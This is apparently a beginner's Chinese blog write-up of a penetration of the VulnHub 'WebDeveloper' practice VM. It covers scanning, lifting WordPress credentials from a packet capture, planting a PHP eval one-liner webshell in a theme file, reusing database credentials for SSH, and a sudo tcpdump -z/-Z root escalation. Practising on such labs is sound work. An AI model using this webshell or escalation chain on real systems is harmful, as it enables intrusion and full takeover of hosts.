WebDeveloper内网渗透流程(新手流程梳理)

WebDeveloper内网渗透流程(新手流程梳理)

目前刚刚学习内网渗透和web的网安知识,先从最入门的离线靶场来理一下一次简要的完整渗透流程。本文内容比较基础,如有错误烦请各位热心大佬纠正。

vulnhub 新手级离线靶场
VMware 15.5
kali镜像:kali-linux-2022.4-installer-amd64
kali ip:192.168.100.83

靶场下载地址: https://download.vulnhub.com/webdeveloper/WebDeveloper.ova

下载好靶机之后直接使用VMware软件打开ova,启动即可,将虚拟网络设置为NAT模式或者桥接直连物理网即可
打开后效果如下
在这里插入图片描述
本文章用比较入门的操作来梳理流程

一 信息收集

1.1 nmap

下面先扫描一下这个网段,使用nmap,看一下靶机ip

在这里插入图片描述
对发现的ip进行端口扫描
发现这个211的IP开放了 ssh和http
在这里插入图片描述
在浏览器中尝试访问一下
在这里插入图片描述
确定靶机
下面对web部分开始信息扫描
先来查看这个网站都有哪些可访问页面

1.2 dirsearch

dirsearch扫描windows版

python dirsearch.py -u http://192.168.100.211/

在这里插入图片描述
发现有疑似似登录的页面/wp-login.php
更改url内访问页面,发现登录页面
在这里插入图片描述

1.3 whatweb

为了得到更多信息使用kali中whatweb工具进行扫描查看网站详细信息

whatweb http://192.168.100.211 -v    

whatweb扫描发现该网站是WordPress生成的
在这里插入图片描述

1.4 dirb

使用kali的dirb工具扫描,dirb工具可以更全面的扫描出该类型的网站页面和路径

dirb http://192.168.100.211

扫描发现一个叫ipdata的文件,该文件一般用于存放流量文件,可能会有登录信息相关内容
如本图的倒数第三行
在这里插入图片描述

1.5 流量分析——WireShark

更改URL访问该路径发现有一个analyze.cap的流量文件
在这里插入图片描述
下载到本地使用wireshark打开
发现有很多记录
在这里插入图片描述

为了知道登录包的如何传送的,先回到登陆页面随便的登陆一下
此时发现登录时的包是POST请求
在这里插入图片描述
那么就在wireshark中设置过滤规则

http.request.method==POST

既然是POST请求就在这俩包里面翻找一下有没有登陆的信息
发现疑似登录的账号字段“log”和密码字段“pwd”
在这里插入图片描述

使用该字段的值登录一下试试
登陆成功!

在这里插入图片描述

二 文件注入

在这里找到一处疑似可以注入一句话木马的地方

覆盖掉原本内容,尝试进行注入

2.1 一句话木马
<?php @eval($_POST['a']);?>

在这里插入图片描述
上传注入成功
在这里插入图片描述

2.2 蚁剑连接

下面准备使用蚁剑连接
但是先确认一下注入文件的位置
由页面左边可知我们更改的是hello.php
之前dirsearch爆出来的文件里刚好有hello.php的web路径
在这里插入图片描述

确认路径后使用蚁剑连接
连接成功
在这里插入图片描述
在文件中翻找一下配置文件,一般会有一些东西
wp-config.php文件应该就是这个web项目的部分配置文件
在这里插入图片描述

打开发现数据库账户和密码
在这里插入图片描述

2.3 进入内网(ssh)
/** MySQL database username */
define('DB_USER', 'webdeveloper');

/** MySQL database password */
define('DB_PASSWORD', 'MasterOfTheUniverse');

使用ssh登录这个账户进入靶机。

在这里插入图片描述
登陆成功
在这里插入图片描述

三 用户越权

登陆后先查看一下当前用户权限

sudo -l

在这里插入图片描述
发现可以使用tcpdump进行提权
看了太多shell反射提权
本文这里 不采用shell反射 ,咱们用比较简单朴素点的方式

3.1tmp文件夹特性利用

利用tmp的文件特性:
“通常,/tmp 目录的权限会被设置为 1777,这是一个八进制数。这意味着它具有读、写和执行权限,因此属主、属组和其他用户都可以访问它”

现在已知tmp是灰色权限文件夹
进入tmp文件夹下准备提权
在这里插入图片描述

3.2 越权执行

命令思路就是

  1. 先创建一个执行文件
  2. 将要执行的越权命令写入被创建文件
  3. 把被创建文件权限拉满
  4. 通过sudo-tcpdump越权执行文件中的命令
  • tcpdump中有两个关键参数-z和-Z
  • -z 用来执行一个脚本,-Z用来指定tcpdump以哪个用户运行
  • 当可以通过sudo执行时,则可以指定以root用户运行一个脚本,从而达到提权的目的
touch DN                  //在tmp文件夹里创建一个DN(随便按的)
echo "ls /root/" > DN     //把要执行的命令写入DN里面
chmod 777 /tmp/DN         //给DN文件 777 权限
sudo tcpdump -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/DN -Z root
//最后通过sudo-tcpdump执行越权文件

tcpdump命令详解:
-i eth0 从指定网卡捕获数据包
-w /dev/null 将捕获到的数据包输出到空设备(不输出数据包结果)
-z [command] 运行指定的命令
-Z [user] 指定用户执行命令
-G [rotate_seconds] 每rotate_seconds秒一次的频率执行-w指定的转储
-W [num] 指定抓包数量

通过sudo tcpdump执行越权文件内容“ ls /root/ ”查看了root目录下存在flag.txt

在这里插入图片描述

四 拿下flag

然后更改DN文件越权文件内容

echo "cat /root/flag.txt" > DN

再次执行sudo-tcpdump越权命令得到flag内容
在这里插入图片描述

本文操作仅适用于入门练手,一些步骤可能有些简化,仅供参考和思路梳理

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值